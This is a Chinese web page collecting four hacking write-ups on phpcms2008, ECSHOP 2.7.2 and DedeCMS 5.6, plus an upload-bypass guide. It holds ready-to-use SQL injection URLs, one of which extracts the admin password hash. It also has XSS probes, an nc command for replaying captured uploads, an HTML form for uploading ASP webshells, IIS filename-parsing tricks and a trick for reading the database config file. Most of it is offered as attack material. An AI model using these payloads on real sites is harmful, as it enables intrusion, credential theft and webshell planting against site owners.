51阅读吧 - 为您打造专业优质的文章分享平台!
您的当前位置: 51阅读吧 >

sql注入漏洞|phpcms2008 注入漏洞 利用分析

NO.1 phpcms2008 注入漏洞 利用分析

这个是最新有人发现的

该漏洞文件:ask/search_ajax.php

漏洞说明:
/ask/search_ajax.php
Code:

if($q)
{
$where = " title LIKE '%$q%' AND status = 5";//没做过滤直接感染了$where
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 10);
/ask/include/answer.class.php
Code:

function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " WHERE $where";
if($order) $order = " ORDER BY $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " LIMIT $offset, $pagesize";
$r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where");
$number = $r['number'];
$this->pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit");
while($r = $this->db->fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this->number = $this->db->num_rows($result);
$this->db->free_result($result);
return $array;
}
测试方法:


/ask/search_ajax.php?q=s%D5'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23


NO.2 ECSHOP php商城系统过滤不严导致SQL注入漏洞

影响版本:
ECSHOP 2.7.2 Release 0604
程序介绍:
ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。
漏洞分析:
在include_libcommon.php中存在如下函数

PHP Code复制内容到剪贴板

  1. function get_package_info($id)      
  2. {      
  3.     global $ecs$db,$_CFG;      
  4.       
  5.     $now = gmtime();      
  6.       
  7.     $sql = "SELECT act_id AS id,  act_name AS package_name, goods_id , goods_name, start_time, end_time, act_desc, ext_info".      
  8.            " FROM " . $GLOBALS['ecs']->table('goods_activity') .      
  9.            " WHERE act_id='$id' AND act_type = " . GAT_PACKAGE;      
  10.       
  11.     $package = $db->GetRow($sql);      
  12.       
  13.     /* 将时间转成可阅读格式 */      
  14.     if ($package['start_time'] <= $now && $package['end_time'] >= $now)      
  15.     {      
  16.         $package['is_on_sale'] = "1";      
  17.     }      
  18.     else      
  19.     {      
  20.         $package['is_on_sale'] = "0";      
  21.     }      
  22.     $package['start_time'] = local_date('Y-m-d H:i'$package['start_time']);      
  23.     $package['end_time']   = local_date('Y-m-d H:i'$package['end_time']);      
  24.     $row = unserialize($package['ext_info']);      
  25.     unset($package['ext_info']);      
  26.     if ($row)      
  27.     {      
  28.         foreach ($row as $key=>$val)      
  29.         {      
  30.             $package[$key] = $val;      
  31.         }      
  32.     }      
  33.       
  34.     $sql = "SELECT pg.package_id, pg.goods_id, pg.goods_number, pg.admin_id, ".      
  35.            " g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real, ".      
  36.            " IFNULL(mp.user_price, g.shop_price * '$_SESSION[discount]') AS rank_price " .      
  37.            " FROM " . $GLOBALS['ecs']->table('package_goods') . " AS pg ".      
  38.            "   LEFT JOIN "$GLOBALS['ecs']->table('goods') . " AS g ".      
  39.            "   ON g.goods_id = pg.goods_id ".      
  40.            " LEFT JOIN " . $GLOBALS['ecs']->table('member_price') . " AS mp ".      
  41.                 "ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' ".      
  42.            " WHERE pg.package_id = " . $id" ".      
  43.            " ORDER BY pg.package_id, pg.goods_id";      
  44.       
  45.     $goods_res = $GLOBALS['db']->getAll($sql);      
  46.       
  47.     $market_price        = 0;    


其中$id没有经过严格过滤就直接进入了SQL查询,导致一个SQL注射漏洞。
在系统的lib_order.php中存在一个该函数的调用

PHP Code复制内容到剪贴板

  1. function add_package_to_cart($package_id$num = 1)      
  2. {      
  3.     $GLOBALS['err']->clean();      
  4.     /* 取得礼包信息 */      
  5.     $package = get_package_info($package_id);      
  6.     if (emptyempty($package))      
  7.     {      
  8.         $GLOBALS['err']->add($GLOBALS['_LANG']['goods_not_exists'], ERR_NOT_EXISTS);      
  9.         return false;      
  10.     }  

在flow.php中存在可控的输入源

PHP Code复制内容到剪贴板

  1. $package = $json->decode($_POST['package_info']);      
  2.     /* 如果是一步购物,先清空购物车 */      
  3.     if ($_CFG['one_step_buy'] == '1')      
  4.     {      
  5.         clear_cart();      
  6.     }      
  7.     /* 商品数量是否合法 */      
  8.     if (!is_numeric($package->number) || intval($package->number) <= 0)      
  9.     {      
  10.         $result['error']   = 1;      
  11.         $result['message'] = $_LANG['invalid_number'];      
  12.     }      
  13.     else      
  14.     {      
  15.         /* 添加到购物车 */      
  16.         if (add_package_to_cart($package->package_id, $package->number))      
  17.         {      
  18.             if ($_CFG['cart_confirm'] > 2)   


$package->package_id来源于输入
解决方案:
厂商补丁
ECSHOP
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ecshop.com
信息来源:
来源: WooYun

NO.3 dedecms v5.6 GBK 注入漏洞利用(member/index.php)

EXP:
htp://127.0.0.1/member/index.php?uid=&#039;%20||%20&#039;&#039;%20||%20&#039;%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7&#039;;
会员中心首页(../member/index.php)函数过滤不严格造成盲注,数据库错误模式,XSS
EXP:
htp://127.0.0.1/member/index.php?uid='%20||%20''%20||%20'%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7';

htp://127.0.0.1/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe'")/>


htp://127.0.0.1/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'">

NO.4 脚本入侵-上传漏洞总结篇(臭小子)

1:抓包上传
我们可以用WSockExpert(抓包工具) hkcpost抓包提交软件或等等抓包工具
说下hkcpost有时候电脑打不开WSockExpert(抓包工具) 我们就用这工具
很好用
说到抓包上传 比如一个上传地址http://site/upload.asp
或后台管理后台上传地址
我们就抓包cookies 参数 和文件上传成功地址
然后用明小子或等等抓包工具 上传。大家可以去百度搜索相关的教程和文章看看


2:抓包和nc上传
抓包cookies 参数 和文件的数据 然后保存成文本 比如hack92.txt
然后用编译C32asm 或等等编译工具 修改
然后用nc.exe 提交 命令nc -vv site 80<hack92.txt
大家可以去百度搜索下nc上传 或突破 等等教程文章看


3:本地上传漏洞
把下面的代码 保存为hack92.html
------------------------------
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>BODY {
FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee
}
.tx1 {
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px
}
</STYLE>

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY leftMargin=0 topMargin=0>
<FORM name=form1 action="把上传地址复制这里到这里" method=post
encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit>
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> </FORM></BODY></HTML>
------------------------------------------
添加上传地址
把<FORM name=form1 action="把上传地址复制这里到这里" method=post
把:把上传地址复制这里到这里 你的上传地址
然后打开hack92.html 出现两个页面 第一个上你的图片木马 然后在上你的ASP木马
提示在上asp木马记得 加个空格


4:iis漏洞
把我们的asp木马 改成xxx.asp;xxx.jpg 或xxx.asp.jpg
或建立asp.asp asa.asa 目录 上图片asp木马


5:上传突破
当网站不允许上传asp .. cer ..cdx . htr 等文件时,上传一个stm文件,代码为 “”(想查看什么文件就写什么文件名,这里我假设想查看的文件名为”conn.asp”),,然后直接打开这个stm文件的地址,再查看源代码,“conn.asp”这个文件的代码就一览无遗了!


大家可以去百度搜索相关的文章和教程
上一篇:美国微软公司的总部设在|美国微软公司的总部设在 上一篇:QQ心情日志:苦难是一块试金石|QQ日志:难过凌晨
与该文相关的文章

温馨提示:如果您对51阅读吧有任何建议,请通过网站联系邮箱向我们反馈,感谢各位的建议与支持!